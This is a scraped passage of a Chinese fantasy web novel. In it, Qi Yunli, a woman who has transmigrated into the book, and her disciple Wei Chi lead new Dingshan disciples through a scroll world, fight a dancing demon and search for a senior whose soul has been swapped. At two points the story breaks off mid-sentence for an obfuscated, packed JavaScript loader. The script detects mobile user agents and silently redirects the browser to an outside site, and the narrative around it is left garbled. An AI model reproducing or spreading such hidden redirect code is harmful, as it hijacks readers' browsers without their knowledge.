原本是来吓人,结果最后却被责怪,事态发展实在超出所料,齐云鲤只能问:“那么男主呢?” “他不可疑!”石月观音大声宣布,像是证据确凿。 齐云鲤也不知道这是押了多大筹码,只能就此告辞。 石月观音还在证明男主清白,齐云鲤已经冲出大门。 冲出去的瞬间,不远处的白玉兰仿佛雪花般飘落,又似乎只是洒下星星点点的光,不管怎样都是一闪一闪的。 齐云鲤只是眼角余光瞟到一点白色的火。 她觉得那个蒙着双眼的女子可能与此有关,就像是在暗无天日的阴曹地府指明一条出路。 虽然不知道那个人身份,反正知道是帮她的。 再次从床上醒来时,齐云鲤觉得没什么大不了的。 之前卫池发火感觉大事不好,但之后被吓又被怪,感觉已经坏得不能再坏。 相比之下发脾气动怒只是一件小事。 于是齐云鲤跑到侧门那边以探讨问题的态度上门请教。 “感觉剑阵有点深不可测,是我想得太浅,不知你还知道什么?”她态度诚恳,仿佛是个虚心求教的学生。 卫池并不欣喜,而是皱起眉头:“问我干什么?” “其他人都不知道,只有你知道。” 卫池有点奇怪:“你不知道?” “我一无所知。”齐云鲤坦白地说。 卫池怪起来:“你一无所知还干那种事!” “这次没出事纯属侥幸,下次必定做好充分准备。”齐云鲤还是一脸坦诚。 其实她还是不知道卫池是什么意思,但目前不是探究那个的时候。 之前被吓又被怪,总该有个地方没那么差吧? 齐云鲤一脸认错的样子,于是卫池就开口解释。 “龙息和元气一阴一阳,那么双方绕在一起时就会略有所偏,而不是彻底的平面相接,”他说出一段闻所未闻的话,“龙息倾向于外,元气倾向于内,一升一降,彼此才好构成一个整体。” 齐云鲤完全不知道他在说什么,只是见他态度平和就若有所思点点头。 “使用剑阵的关键在于元气,元气是向内求的,人人都有却不自知,”卫池略有感慨,“所以关键在自身,而不是外物。” 齐云鲤不知道他在感慨什么,但她都有点目瞪口呆,只是不敢表现出来。 卫池看起来还算正常,结果尽说些神神叨叨的话。 根本就没人听得懂这是在说什么。 齐云鲤绞尽脑汁也只能问:“然后呢?” “向内求不是件容易事,稍有不慎就可能失败。如果剑阵已经开启,一旦元气之力不足就会遭受剑阵攻击!”卫池转头过来,声音一扬。 齐云鲤总算听懂,这是在怪她。 之前觉得被责怪是件坏事,现在才发现被责怪是她唯一能听懂的话。 比起被责怪,还是听不懂更恐怖。 毕竟她既听不懂又感觉很重要,听到最后都觉得自己太肤浅、太小儿科,不然怎么会听不懂? 虽然一头雾水,齐云鲤还是问:“化龙的事你听说过吗?” “那种事你就别想了!”不知道这话说到什么关键,卫池声音更大。 虽然他具体什么也没说,不过齐云鲤发现他前后的说话方式截然不同。 之前神神叨叨的,现在明显在责怪,感觉前 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“你自己先想一下。”卫池转身就走,步伐快得都要走出玄镜池。 齐云鲤知道他现在不会再解释,于是就自己琢磨,不过想来想去也搞不懂。 因此就在玄镜池等卫池回来,谁知那个人三天三夜都没出现。 这也太过夸张,为了不继续解释至于做到这一步吗? 第四天晚上她总算在一个路口等到卫池,他明显不是要走回玄镜池。 夜色低垂,卫池看到齐云鲤转身就走,仿佛是不想看见她。 齐云鲤不着急,也就是亦步亦趋跟在后面,无论卫池绕到什么地方,她都紧紧跟随。 “你要走到什么时候啊?”跟了快半个时辰,齐云鲤实在忍无可忍。 卫池说得冠冕堂皇:“我要夜巡,今晚都不回去。” 夜巡是鼎山弟子都得做的事。 由于鼎山地处偏远,四周妖魔鬼怪众多,即使有护山大阵也还是会有些莫名其妙的事。虽然都是不起眼的小事,但也许会引发难以抗衡的大灾。 为了避免出问题,鼎山弟子每天晚上都要在鼎山四面巡逻。这也算是勿以善小而不为,勿以恶小而为之。 可夜巡这种事通常都是三个鼎山弟子结伴同行,没有哪次会单独行动。 卫池的话明显就是借口,齐云鲤感觉他是不知道怎么解释,所以避而不谈。 她也不急,于是就继续跟着。 反正通宵达旦做事对修道人士来说早就习以为常。 两个人安静地走在夜色中,一前一后,前面不跑后面不退。 走过半座山的时候前方传来一点人声,还伴随着灯火。 “三更半夜的就别呆在外面,快点回去睡觉吧。”有个男子在唉声叹气。 一个清脆的声音说:“现在还没到子时,不是三更半夜吧?” “现在还是亥时。”另一个人说。 最开始那个人说:“吃你的吧,吃完就回去睡觉。” 夜色深沉,那几个人却说得有来有回,没人发火也没人退缩。 ——这种时候还有说有聊的必定不是巡山的人。 走了一截齐云鲤和卫池就碰到六个鼎山弟子,为首的正是孙峥湖,他一边发吃的一边劝说,仿佛是无可奈何的幼师。 他身后跟着五个人,一看就知道是新入门的鼎山弟子。 被劝的五个人里有孙仲礼,他见到卫池就两眼一亮,然后说:“这么晚了,他们还在这里,怎么我们就不行?” 这话说得孙峥湖不得不转头过来一脸怀疑。 此情此景让齐云鲤不禁想起学校里查勤的老师,而她就是被查到的学生。 如果没有充分理由,马上就会全校通报批评。 于是齐云鲤立即就说:“我徒弟对夜巡感兴趣,所以我带他绕一下。” 说完还盘点一下鼎山地貌,仿佛真的有用。 “还是师父考虑周到。”卫池也马上演起来。 他们两人之前一路无言,没有争吵也没有纠纷,旁人不清楚怎么回事。 现在他们一配合,仿佛真是如此。 孙峥湖马上解释进鼎山大概半年之后才会开始夜巡。 “你们在干什么?”齐云鲤顺势问起来。 “青湖师叔,”孙峥湖有点无奈,“他们大晚上还在外面练功,被我抓到。” 说话间他就从腰间解下一个布带递给旁边的孙仲礼。 孙仲礼打开布带就吃起来,旁边又有人望过来。 孙峥湖继续解下布带递过去,看起来明显就是在带小孩,不过忙完他就问卫池:“你跟师父一起夜巡?” 齐云鲤马上接话:“刚上鼎山就在禁地被打,之后又在秘境被打,也不知道还会被谁打。” 不知说中什么,她话音刚落,孙峥湖就开始四处张望,似乎在提防。 齐云鲤刚要询问,就看到夜色中凭空出现一个卷轴,卷轴快速展开,一股巨大旋风将众人吸进去。 17. 夜巡的危机 鼎山地处偏远,危机四伏,所以鼎山弟子夜巡防止出问题。 今晚相遇的众人不负责夜巡,却遇上夜巡需要排查的对象——凭空出现的卷轴。卷轴飞速展开,掀起一阵大风,大风呼啸的同时也开始旋转,很快就将所有人吸进风里。 他们在风里转来转去,完全没办法,很久之后才落地。 众人眼前晦暗不明,又晕头转向,过了很长时间脑子才清醒。 这里是个一望无垠的旷野,四周平坦,基本没有起伏,只有零星草丛,没有树木 再怎么愚钝的人也能明白过来——这里不是鼎山。 此时已是晚上,空荡荡的地方显得有几分吓人。 虽然用功法变出几个灯笼,但能照亮的地方有限,实在看不清远处有何物。 “鼎山没有这种地势平坦的地方,都是山地……” “……这是在卷轴里?” “护山大阵内部还存在这地方,可见不同寻常……” 五个鼎山弟子开始怀疑起来,而且越说越离谱,仿佛就要道破天机。 在他们的猜疑下,四周旷野像是藏着什么不可匹敌的凶煞,原本的空无一人也仿佛暗藏杀机。 鼎山都是山地,走路弯弯绕绕,但危险来得也慢。 如今四面八方空旷无人,感觉要命之物瞬间就能冲到眼前。 “冷静,此地暂时没有危险,”孙峥湖说话镇住场子,以防他们提心吊胆,四周眺望一圈又说,“很久以前鼎山为了震慑住这边的妖魔鬼怪,拿出卷轴供他们栖身,估计就是这里。” 孙峥湖在鼎山是吉凶算卦绝对准确的存在,此言一出,众人就安心不少。 但这也只是一个方面,还有更大更明显的问题他无法解释,那就是龙息。 鼎山上下遍布龙息,鼎山弟子也早已熟悉若有若无的龙息压迫,但此地完全没有龙息。昔日若有若无的龙息压迫一消失,他们就感觉哪里都不对劲。 明明压迫消失是件好事,但此时却轻松得让他们感觉命不久矣。 有压迫就有对策,空无一物则让他们无计可施,仿佛束手无策。 什么也没有才最危险。 “这个卷轴叫丹青宝卷,是天一道人留下的。此地虽有妖魔鬼怪,但是也有解决之道。”孙峥湖除了说明情况别无他法,即使他们还是很紧张。 “孙师兄你不就是狐妖吗?万一碰上也能说两句好话。”一个鼎山弟子说。 孙峥湖并非凡人,而是狐妖。 鼎山中人都知道这件事,不过谁也没计较,比起出身还是行事风格更重要。能从始至终当个好好先生,不管多么刁钻的人都挑不出毛病,这就是万中无一。 如果外人胆敢多嘴,鼎山中人能把他打得痛恨自己不是哑巴。 “狐妖还够不上妖魔鬼怪的门槛,没命去碰瓷,”孙峥湖朝众人招呼,“好了好了快起来,暂时不危险也得看看附近形式。” “这里完全没有龙息……” 有个鼎山弟子唉声叹气说完,众人彻底沉默。 龙息原本是令人不适之物,但此时却仿佛灵丹妙药。 鼎山弟子的家乡基本都被龙息侵扰,他们上山修道也是为了解决龙息之灾。 可丹青宝卷里毫无龙息,他们之前的辛苦就像一场空。既然有地方没有龙息,那为什么还要想办法活在龙息侵扰里。 而且这种地方还专门给妖魔鬼怪栖身,感觉自己就是个笑话。 难道鼎山中人还不如妖魔鬼怪? 那几个鼎山弟子备受打击,全都垂头丧气。 “这里没有龙息,但是有元气,”鸦雀无声时卫池开口道,“晨练之地的长老说过此事,龙息和元气就类似一阴一阳,估计龙息只是危害明显,元气不是没有危害。” 虽然他提到晨练长老,但在场几人根本就不懂。 当时那些话都高深莫测,谁也不清楚究竟是在说什么。这时提起龙息和元气就让他们又回到摸不着头脑的时候。 在场根本就没人听得懂,齐云鲤顿时欣喜若狂。 之前卫池神神叨叨一大堆,她听不懂还以为是自己的问题。 结果现在没人听得懂,那就不能怪她。 ——果然没人听得懂。 “那些弯弯绕绕的事你们现在不用清楚,总之就是这里没有龙息压迫,但是有元气。元气不会像龙息那样令人难受,可始终都在,即使你无法察觉,”齐云鲤略有感慨,“察觉不到的危险才更险。” 这话提到龙息和元气,又触及到鼎山弟子熟悉的领域,那就是危险。 之前想的什么也没有才最危险,恰好跟此时情况相吻合。 他们一脸疑惑地转头过来,齐云鲤又说:“有压迫的时候叫龙息,没压迫的时候叫元气,其实就是一种东西。” “都有危害,区别只在于你能否察觉。”卫池顺势补充。 这么一解释,就比之前好理解不少。 ——反正都有危险。 “……龙息是灾也是力,那么元气呢?”孙仲礼很是疑惑。 卫池转头看向齐云鲤,她想起这是秘境外那个鼎山弟子,一看就涉世未深,于是说:“二者其实是一回事。” 五个鼎山弟子听了虽然不再畏惧,但依然小心翼翼。 “这个卷轴是天一道人留在鼎山的,必然有什么不为人知的秘密,”齐云鲤只好畅所欲言起来,“世人皆知龙息却不知元气,即使元气无处不在也难以察觉。因此只在卷轴里放置元气,或许能让进入卷轴之人得知元气的奥秘。” 这段话就像唱戏一样,孙峥湖都哑口无言,卫池扭头皱眉,可那五个鼎山弟子却将这花里胡哨的东西听进去了。 “……感觉还身肩重任?”孙仲礼有点茫然。 “危机就是有危也有机,能否把握住这个机会就看你们的。” 另外两个人都不想说话,这边五个人被哄得服服帖帖。 新入门的鼎山弟子最难听进指导,他们知道点世间常识,又知道点修道相关知识,因此跟他们解释起来最费劲,两边都得兼顾。 一兼顾就容易什么都说不清,越说越乱。 不过如今齐云鲤一阵忽悠,那五个人还深以为然。 见他们不再惶恐不安,她就让孙峥湖发点吃的,让众人安心一点。 孙峥湖给每人一个小布袋,让他们慢慢吃。 齐云鲤打开布带发现里面是果丹皮,于是也吃起来。 快吃完时她发现卫池还没吃,于是问:“你不吃吗?” “你就是自己想吃。”卫池说完就把布带里的果丹皮倒进嘴里。 见他不愿分享,齐云鲤也没有生气,反正只是些零嘴。 那五个鼎山弟子吃着吃着又问起来:“元气无法察觉,要怎么运用?” “龙息能维持鼎山安定,估计元气也有类似作用,能让此地不受外力侵扰。但不像龙息那样明显,想直接运用恐怕很难,也不是我们能掌握的。”卫池回答。 他说得仿佛很有道理,但那五个人完全听不懂。 “又有又没有的……”孙仲礼声音很小,不过四周都能听清。 孙峥湖感觉不对劲,就马上转移话题:“好了好了,虽然四周环境没有问题,不过这里还是可能出现什么妖魔鬼怪,一定要小心。” “孙师兄,狐族一般是在什么地方?”孙仲礼转头问。 这是一种小说里的常见说法,但孙峥湖并不认可。 “没有狐族只有狐妖,这种说法太过天真,”孙峥湖看他很好骗的样子,就语重心长地说,“照这么说鼎山和止水宗都是人族,是同一阵营,不可能你死我活。可鼎山和止水宗势不两立,这是人尽皆知的事。” 世人皆知鼎山和止水宗势不两立,照这么说起来两边都是人族。 ——虽然都是人族,但彼此敌对。 “看起来跟你长得差不多才最可疑,恶人难道会因为你是人就放你一马?”孙峥湖说出完全无法否认的事。 孙仲礼被重点否定,只好低下头轻声感叹:“我们五百年前是一家,说话能不能轻一点……” 这句话很小声,但齐云鲤刚好听清,她猛然一愣。 怎么他知道这句话,难道这里还有这种俗语? 那个人之前就是涉世未深的样子,跟年龄不太吻合。 如今已经有两个穿书者,再来一个也没什么大不了。 自己早就是鼎山中人,那么这次可能还会有其他人出现类似情况。 “万事万物基本都是平衡状态,有善就有恶,有阴就有阳,不是同一个地方就善恶一致,而是同一个地方有人帮你,也有人害你,”孙峥湖没有听到这句话,因此继续说,“如果有人跟你说是老乡,一定要信他,他绝对能帮你,那他基本是要害你。” 孙峥湖颇为感慨,不知道是经历什么。 齐云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16982342|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲤纠结于孙仲礼的身份,半天也没想通,感觉像穿书者又感觉不像。 最后她只好挪到旁边问卫池:“你这次见过跟我一样的人吗?” “有病的就你一个。”卫池知道她在问孙仲礼,不过只是这么说。 众人一路走着,孙峥湖还在苦口婆心劝说,孙仲礼听得一头雾水,只能似懂非懂。孙峥湖唠叨一路,说得自己都累了,总算不再言语。 这时一个鼎山弟子走过去跟孙仲礼攀谈,之前他们略有接触,但此时那个人却像是素不相识,很是礼貌客气。 那人说话也奇奇怪怪,像是想打听什么,感觉换了一个人。 就在这时,卫池忽然叫孙仲礼过去一下,说是有要事相商。 孙仲礼解释几句就走过去,离开之前那个鼎山弟子。齐云鲤不知道卫池想干什么,转头看见刚才那个人周身似有气息笼罩,若有若无。 ——不知道那是什么情况,感觉不太好。 莫非卫池发觉哪里不对劲,就将人引开? 齐云鲤感觉他没这么好心,不过还是重点盯着那个人。 他们走着走着,忽然望见远处有一点零散火光。 这种地方没人敢大意,只有蹑手蹑脚走过去一看。 夜幕下一名女子在跳舞,舞动的衣裙流光溢彩,配着周身环绕的飘带,闪动着星星点点的光。 四周没有火源,发光的似乎是她自己。 荒郊野外、月黑风高,那名女子盛装打扮,舞姿曼妙,随着她的舞动,便有零星火光在她周围闪动。一闪一闪照得她的裙子一亮一亮的,光亮下的颜色每次都有变化,仿佛那颜色也在随着她舞动。 如此一个曼妙佳人,出现在这种荒无人烟的旷野,实在诡异。 ——而且正常人谁会发光? 鼎山弟子不约而同看向孙峥湖,只见他泪如雨下、声情并茂地说:“快走,能有多快就多快。” 孙峥湖的形象是只要他一哭,就相当危险,因此众人转身狂奔。 可是还没跑出火光照耀范围,那名女子就朝众人扑来。原本端庄沉静的天女相也变成青面獠牙的天魔相,张嘴就要咬过来。 “这是什么妖魔鬼怪?!” 一名鼎山弟子大喊着将孙仲礼拉到队伍中间,其他人将孙仲礼围在里面,他瞬间就安全很多。 即使在这种时候他们还记得要保护弱者。 这也正好提醒齐云鲤注意孙仲礼的身份,需要重点保护的绝对异于常人。 孙峥湖哭着大喊:“我就说我不够格!” 几个鼎山弟子都是新入门的,还不了解布阵,因此无法使用阵法转移。他们只能夺路狂奔,前面跑后面追,始终没有拉开距离。 “我们在前面跑成直线会不会很容易被追上?”卫池出声问。 齐云鲤顿感不妙,这人很可能要准备干什么,不能让他抢占先机。 于是她大喝一声:“都退后!” 就转身冲过去跟那个天魔相舞女打起来。 舞女方才还在舞动的飘带瞬间变得刚直,基本就是兵刃状态。 飘带刺来,齐云鲤用剑一挡,竟然还发出兵戈交击之声。二人短兵相接,一时胜负未分,只是向着另一个方向移动。 打斗双方逐渐远离众人,他们这才舒口气。 “青湖师叔剑法这么厉害?” “听名字就跟青滔师伯是一路人。” “……是不是能趁机学一点?” “鼎山剑法在实战中的运用灵活多变,不再只是平日练剑时的剑招套路。而是要根据对手的出招使出相应剑招,这就是实战和练习的区别,”孙峥湖趁机把出剑的注意事项强调一遍,“不过得先将全套剑招练熟,这样才能灵活应对,否则就是巧妇难为无米之炊。” 可鼎山弟子并未听他劝说,而是专心观看远处打斗。 那边打斗虽然没有功法光芒,不过格外凶险,都快你死我活。 “……打下去了!”一名鼎山弟子大喊。 齐云鲤原本跟舞女打得不分上下,谁知一脚踩空掉了下去,也不知道下面是深沟还是悬崖。她也没想到好端端的平地怎么就让自己掉下去。 她掉下去的地方是悬崖,之前还生龙活虎的人眨眼就消失不见,众人都有点目瞪口呆。 卫池皱了皱眉,那地方不该出现悬崖,悬崖之前没有,是瞬间出现的。 ——这地方有些不同寻常。 18. 解围 如今穿书也算常见,不过在这种稀奇古怪的地方碰到老乡实在不好。 但孙仲礼涉世未深,明显年幼,齐云鲤出于尊老爱幼的心态只能做好表率。 虽然还不能确定他就是穿书者,可如果是个小孩那就不能学坏。 因此齐云鲤打得格外卖力,之前打面具人都没这么精益求精。 那些鼎山弟子都是新入门的,她也不好用功法,可能看都看不懂。只能短兵相接,好歹都学过鼎山剑法。 可对面舞女的飘带瞬间化成剑刃,还是左右两把,齐云鲤也只能打得很费劲。 幸亏之前在白鹭坪被青滔像摊煎饼一样打过,不然实在难以招架。 这地方四面平坦,她就跟舞女不停转移位置,好在之前在白鹭坪绕过很多圈,这才熟能生巧,不落下风。 之前受的苦总算没有白费,也算是学到点东西。 齐云鲤不免回想起之前在白鹭坪的打斗,虽然始终被打,但可算是没浪费那段挨打时光。 她越想越入神,一时没留意双方打斗时间长得有点离谱。 原本她根本无法打这么长时间,但在白鹭坪被打之后,她感觉精力旺盛得难以形容。被青滔连续打十多天,这是世之罕见的。 齐云鲤自我感觉良好,也就没留意周遭环境的变化。 平地冒出悬崖,这是谁也想不到的。 她完全不设防,直接踩空掉下去,悬崖很高很深。齐云鲤赶紧化形成燕子飞上崖顶,这才逃过一劫。 青湖师叔骤然消失,鼎山弟子焦急万分,还好有只燕子冲上天空。燕子回身一转就变成人形,又跟舞女打起来,不过这次除了剑法还有阵法。 一时间,那一带的兵戈交击之声未停,同时又闪烁着功法光芒,像是电闪雷鸣,破空声和爆炸声响个不停。 鼎山弟子都沉默了,这不是他们能学会的。 齐云鲤又是剑法又是阵法,堵死舞女所有去路。 轰隆隆的炸裂声停息后,远处安静下来,舞女消失不见,只有齐云鲤立在一面残破石碑上。周身功法光芒逐渐暗淡,手中长剑却依然闪着寒光。 她环顾四周,不见舞女身影,就布下一个阵法将满地狼藉修复。接着跃下石碑,石碑便悄无声息消失在荒野里。 鼎山弟子还沉浸在刚才的打斗里没回过神来,就听青湖师叔说:“这地方有问题。” 凭空出现悬崖和石碑,似乎是秘境才会有的变化。 不过他们都是新入门的,没有人去过秘境。 “秘境里没什么龙息,但是有元气,所以在秘境能用元气布阵。”卫池趁机说出这件事。 之前他去秘境一事由于蛟的出现闹得人尽皆知,如今他这么说就很有说服力。 不过之前在秘境里用元气调动的是剑阵。 这几个人鼎山剑法都不熟,自然不可能使用。 这句话瞬间转移众人注意力,齐云鲤只好赶紧强调:“元气可以发挥作用,不过现在你们要重点关注的是卷轴里会随时产生变化。” “之前空旷无人的平地可能突然出现悬崖,也可能突然冒出石碑,这都是骤然出现的,没有任何征兆,”她话音一顿,看看四周才问,“孙峥湖呢?” 几人转头一看,之前还在滔滔不绝劝说的孙峥湖如今无影无踪,地上也没有另外的脚印,直接凭空消失。 空旷的野外一共站着七个人,但本该有八个。 之前孙峥湖一路都在发零食,仿佛是硕果累累的桃树,谁知现在树都被砍了。 “刚才那边打得很激烈,谁知这边吹来一阵风,孙师兄就不见了,”卫池慢条斯理地说,接着伸手指向西南方,“风往那边吹了。” 齐云鲤深吸一口气,按捺住内心怒火。 ——早就看到,现在才说是吧?! 西南方有一条静谧的河,水天相接之处有个影子一闪而过。 齐云鲤二话不说就追过去,其他人跟在后面不敢掉队。可等众人跑过去,水色又消失不见,四下只有空荡荡的旷野。 风依然朝西南方吹着,于是齐云鲤顺着风向一路前行。 鼎山弟子老老实实跟在后面,卫池将孙仲礼叫到身边,而之前那个有点可疑的鼎山弟子则跟在他们两个身后。 旷野里的风时大时小,不过都吹向西南。 众人走了一阵子,发现远处竟然出现一个城池,在一望无垠的旷野里仿佛铜墙铁壁、坚不可摧。 四周没有明显水源,也没有任何植被,荒芜得很。这种地方有一座城池当然相当不合理,不过不合理的事又岂止这一件。 众人逐渐走近,城外风平浪静,稀奇古怪的事一件也没有。 只见城门上挂着一块牌匾,写着“天府之国”。 这卷轴在小说里从未出现,那四个字更是绝不会出现在修仙小说里。 “天府之国不是成都吗?”耳边传来一句轻声惊叹。 ——那是四川! 齐云鲤目瞪口呆之余猛然回头,发现说话的就是孙仲礼。 ——他果然也是穿书的! 这陡然的动作尤为突兀,不过接下来又是更多惊叹。众人已经被城里走出来的人吸引全部注意力,没人留意这个回头。 只有卫池皱起眉头,因为他身后的鼎山弟子有所动作。 虽然动作不大,只是向前走了一步。 城里走出一人一猴,猴子一身类似武生的打扮,昂首阔步走在前面。孙峥湖换了一身简短的粗布衣服,仿佛是个下人。 猴子转身说什么,孙峥湖就从布袋里掏出一叠纸张,放在城外一个土坑里烧起来。 纸上能望见一些字迹,烧纸的火星随着风吹向荒野。荒野里凭空伸出一缕飘带,火星便都依附在飘带上,依附在飘带上的火星越来越多,随风摆动。 猴子双手合十,对着飘带说两句什么,接着飘带消失。 猴子回过头对孙峥湖说什么,孙峥湖听话地点点头,绕着城墙走远,之后猴子又回城里去了。 “那不是孙师兄吗?” “怎么还有个猴子?” “他怎么还听猴子指令?” 此情此景过于震撼,鼎山弟子一时无法接受,抓耳挠腮半天也只能感叹。 穿衣打扮奇怪,行为举止怪异,明显跟之前判若两人。最关键的是他还受猴子指使,服服帖帖没有任何怨言。 虽然他是狐妖,但没必要听一只猴子号令,何况那猴子连人形都没有! 对妖精来说,化为人形是最重要的。 很多修为浅薄的妖精只能口吐人言,形态依然跟之前差不多。 一旦化为人形,那修为功法就跟其他妖精不是一个层次。 完全不可能出现能化人形的妖精听不能化人形的妖精指使。 鼎山弟子都愤愤不平,齐云鲤见孙仲礼满脸愤慨,也不知道他在激动什么。 最后是卫池一锤定音:“孙师兄已经被人交换魂魄。” “啊,这怎么看得出来?”孙仲礼发问。 “从刚才那人的举止来看,显然跟猴子相当熟悉,而且地位在猴子之下。这在孙师兄身上不可能发生,”卫池顿了顿,才继续说,“可见孙师兄的躯体和魂魄并不统一。” 虽然交换魂魄早就见怪不怪,但在这种地方就有点匪夷所思,毕竟是之前从未见过的卷轴。 ——而且这里还没有龙息。 都是前所未见的事,谁知道还有什么。 “那我们得救出孙师兄。” “不过我们打得过吗?” “没事,有青湖师叔啊!” 齐云鲤原本站在边上一心留意孙仲礼,本来没她什么事,谁知说到打架鼎山弟子就想起她来。她刚想说两句,结果卫池又开口。 “孙师兄的魂魄必定在城内,可我们现在这样进去,绝对会被抓起来。眼下比较妥当的方法是变成其他模样。” 变成其他模样就是化形,这是修道人士的必备之法。 不过这五个鼎山弟子都是新入门的,还没接触到化形之术。 要化形却不会,自然只能等人传授,齐云鲤做为长辈无法推脱。 鼎山弟子仿佛嗷嗷待哺的鸡仔,满脸期待地看过来,她也只好耐心讲解化形注意事项。化形并非一件难事,难的是要化形成固定对象。 需要化成的形态越复杂,化形难度越高。 对于新入门的人来说,那自然什么形态都复杂,齐云鲤半天也说不通。 就在这时,卫池开口:“虽然化形比较复杂,可如果我们跟周围元气融为一体,就能借助元气之力来化形。” “怎么算融为一体?”孙仲礼相当疑惑。 齐云鲤也很疑惑,这说的都是什么? “之前我们提防元气,就会不经意间排斥它。如果我们接纳元气,就算融为一体,”卫池说完还转头问,“我说的对吗?” 被问的齐云鲤赶紧点头称是,恨不得鼓掌叫好。 “之前觉得是可疑人士,现在就是隔壁邻居,不用继续提防。”她补充说明。 师徒二人配合得天衣无缝,在场鼎山弟子都深信不疑。 之后齐云鲤和卫池又跟他们说细节方面的内容,说了半个时辰总算都听懂。 不过再简单的事对穿书小孩来说恐怕都不容易,因此齐云鲤跟众人说完便再次化形成燕子,让他们可以好好观察,不错过细节。 最关键的是那个孙仲礼,千万不要看不懂。 化形关键就在于细节,如果连化形对象长什么样都不知道,那就必然失败。燕子齐云鲤飞来飞去,摆出各种姿势,以防有人看不懂。 几个鼎山弟子看了又看,想了又想,这才顺利化形成燕子。孙仲礼也没有错过这个机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16990598|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会,齐云鲤不免松口气。 那五个人化形成燕子飞起来,几只鸟在原地盘旋一阵子才展翅高飞。 齐云鲤看到卫池还站在原地,正想叫他,就见他瞬间化形成一只黑猫,向着城门飞速冲去。 五只燕子和一只黑猫都快越过城墙,她这才重新化形成燕子飞出去。 燕子飞进城之后,之前在城外的焦虑不安骤然一减,瞬间便不再想那些乱七八糟的事,只是单纯飞行。 黑猫观察燕子飞行轨迹,飞快穿梭在屋檐上。 城内虽是常见布局,却有很多稀奇古怪之物。 靠近城门的角落,一些火光在空中闪烁。 闪烁中开出几朵粉嫩花朵,在夜色中还泛着一点光,花朵之间还连着一缕丝带。丝带轻飘飘的却彼此相连,将整个城墙都连起来。 即使夜色深沉,大街上的行人也还是三三两两走着,看似没有异常。 可人与人之间即使靠得再近,也是轻轻滑过,完全没有任何接触。仿佛靠得再近,彼此之间也有距离。 这时前方高台上有一只猴子爬出来宣读告示。 “九游仙姬有令,有人擅闯天府之国,一旦发现要及时上报。”猴子的身影被火光照耀在一侧,仿佛是什么不可冒犯之物。 听见告示内容,有人小声议论,也有人凭空消失,之后大街上又是没有异常的寻常状况。 燕子落在屋檐上,听完告示便起飞离开,黑猫则穿梭在屋顶。 高台后的空地立着两尊木质雕像,只是人形大小,而且都是女子,其中一人还蒙着双眼。 雕像前摆着半人高的石雕香炉,炉子里还插着很多香,香火旺盛。 燕子齐云鲤感觉有点眼熟,就绕着蒙眼女子飞了一圈,不过什么也没看出来。 只是她觉得跟之前施法布阵的人很像。 她马上就飞走,因此没留意另一尊雕像衣服上的花纹有一条鲤鱼在云朵中。 街上人来人往,他们都会在摩肩擦踵时绕开一点点,不免让人心生压力。因此五只燕子转而飞往一旁的住宅,那边人少,压力自然也轻微些。 谁知穿过一个院落上空时,里面的人“啊”了一声,说:“居然有燕子。” 夜空中有只燕子陡然一惊,被吓得变回人形。 人影落在院子里,正是孙仲礼。 三更半夜,擅闯民宅。 院里的人顿时一惊,不由大喊:“闯入者在这里!” 齐云鲤瞬间化回人形,将院里的人全部控制,还施法不让声音外传。院里几人被束缚着靠在角落,逐渐现出原型,是几只羽毛艳丽的鸟雀。 其他人见院里已经没有威胁,便落在地上纷纷变回人形。 此时众人才发现卫池之前是化形成黑猫。 “怎么你不是变成燕子?”他们相当困惑,甚至暂时忘记变回人形的孙仲礼。 化形虽是修道人士的必备之法,却不是新入门之人能掌握的。 卫池入门才一个月就能化形实在有点诡异,已经远超普通修道人士的能力。 一联想就感觉他周围发生的事都有些奇怪。 卫池轮回这么多次,始终都跟鼎山弟子一边,可如今却被怀疑。 当然也是由于他没留意这个问题,毕竟丹青宝卷之前从未出现。 只是完全没料到还有这种事。 氛围一时有点凝重,谁也没说话,但谁都不敢掉以轻心。 修道路上匪夷所思的事不计其数,没人敢保证此时没有匪夷所思。 孙仲礼原本还有些惊慌,但这时突然鸦雀无声,他也发现问题。 所有人一动不动,一言不发。 “都跟你说过了,还是燕子方便,”齐云鲤见状就赶紧说,“变成猫又跑又跳的,不如飞起来迅速。” 眼看那个穿书小孩出现问题,她赶紧出来解围,以免耽误时间。 以前比谁的伤势重,结果现在还比谁的问题大。 不过这是她第一次主动帮忙说话,卫池愣了一下。 他从没想过还能以这种方式摆脱困境。 “弟子右手不适,飞起来不方便。”过了一会儿他才低头说。 卫池一副认错的模样,齐云鲤就不再计较:“如果你更便捷那就这样吧。” 这话说得他变成猫也情有可原,提前学习又有不适,所以化形成猫。 当师父的都不再计较,其他人也不好再质疑。 眼看麻烦解除,齐云鲤就说稍安勿躁,留意周围动静就行,然后叫上孙仲礼去一旁说话。 卫池眉头一皱,而那个鼎山弟子则朝齐云鲤的方向挪了几步。他马上过去说右手不舒服,希望师兄有办法解决。 两人就右手的事说起来,其他鼎山弟子听见也凑过来讨论。 这群人都在一起说话,那边两个人便没人再去打搅。 19. 生死搏斗 这里是个安静后院,四周有很多花草树木,还有小桥流水,颇有意境。 不过角落里的齐云鲤和孙仲礼,看上去都有点严肃。 一个是担心犯错的事,一个是担心应该怎么说清楚。 最后齐云鲤决定还是先正经一点,于是她说:“这是干什么,突然变回人形是想死吗?” 骤然在外人面前变回人形,是件相当危险的事。 更何况之前已经有猴子公告城内居民有外人入侵。 